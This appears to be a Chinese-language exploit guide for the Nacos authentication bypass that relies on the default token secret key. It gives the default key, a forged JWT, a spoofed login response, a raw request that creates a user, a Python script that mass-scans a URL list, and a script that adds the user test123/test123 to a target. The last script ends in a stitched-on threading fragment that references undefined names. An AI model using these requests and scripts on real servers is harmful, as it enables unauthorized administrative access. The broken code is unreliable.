Nacos身份认证绕过

由于secret.key值为默认

1
2
3
4
5
### The default token(Base64 String):
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

### 2.1.0 版本后
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

可使用 https://jwt.io/#debugger-io 生成可用的token

image-20230315212619079

如果需要登录至nacos,输入任意账密进行抓包

image-20230316094958701

把回显包替换为下面这个

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206

{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}

直接登录进去

image-20230315212433019

直接添加用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /nacos/v1/auth/users HTTP/1.1
Host:
User-Agent: Nacos-Server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

username=test&password=test

image-20230315215349275

批量验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import urllib3
urllib3.disable_warnings()

# 定义自定义路径和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
proxies = {'http': 'http://127.0.0.1:8080'}
header = {
"User-Agent": "Nacos-Server",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Pragma": "no-cache",
"Te": "trailers",
"Cache-Control": "no-cache",
}
# 从url.txt文件中读取URL列表
with open('url.txt', 'r') as f:
urls = f.read().splitlines()

# 循环发送GET请求并判断回显结果
for url in urls:
full_url = url + custom_path # 拼接完整URL
try:
response = requests.get(full_url,proxies=proxies, headers=header,verify=False,timeout=2)
if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
print(f'{url} 存在nacos身份验证绕过漏洞')
else:
print(f'{url} 不存在nacos身份验证绕过漏洞')
except requests.exceptions.RequestException as e:
print(f'{url} 访问失败 {e}')

image-20230316151435950

脚本化添加用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import sys
import requests
from termcolor import colored
import urllib3
urllib3.disable_warnings()

proxies = {'http': 'http://127.0.0.1:8080'}
# 获取命令行参数中的 URL
if len(sys.argv) < 2:
print("Usage: python test.py <url>")
sys.exit(1)
url = sys.argv[1]

post_url = "/nacos/v1/auth/users"
request_url = url + post_url

headers = {
"User-Agent": "Nacos-Server",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
}
data = {
"username": "test123",
"password": "test123",
}

response = requests.post(request_url, headers=headers, data=data, proxies=proxies,verify=False)

if response.status_code == 200 and response.content.find(b"ok") != -1:
print(colored('[*] ' + url + ' 存在nacos身份认证绕过漏洞! ', 'green'))
print(colored('已创建用户test123/test123', 'green'))
else:
print(colored('[-] ' + url + ' 不存在nacos身份认证绕过漏洞! \n', 'red'))

threads = []
for url in urls:
t = threading.Thread(target=send_request, args=(url,))
threads.append(t)
t.start()

# 等待所有线程完成
for t in threads:
t.join()

image-20230316092515338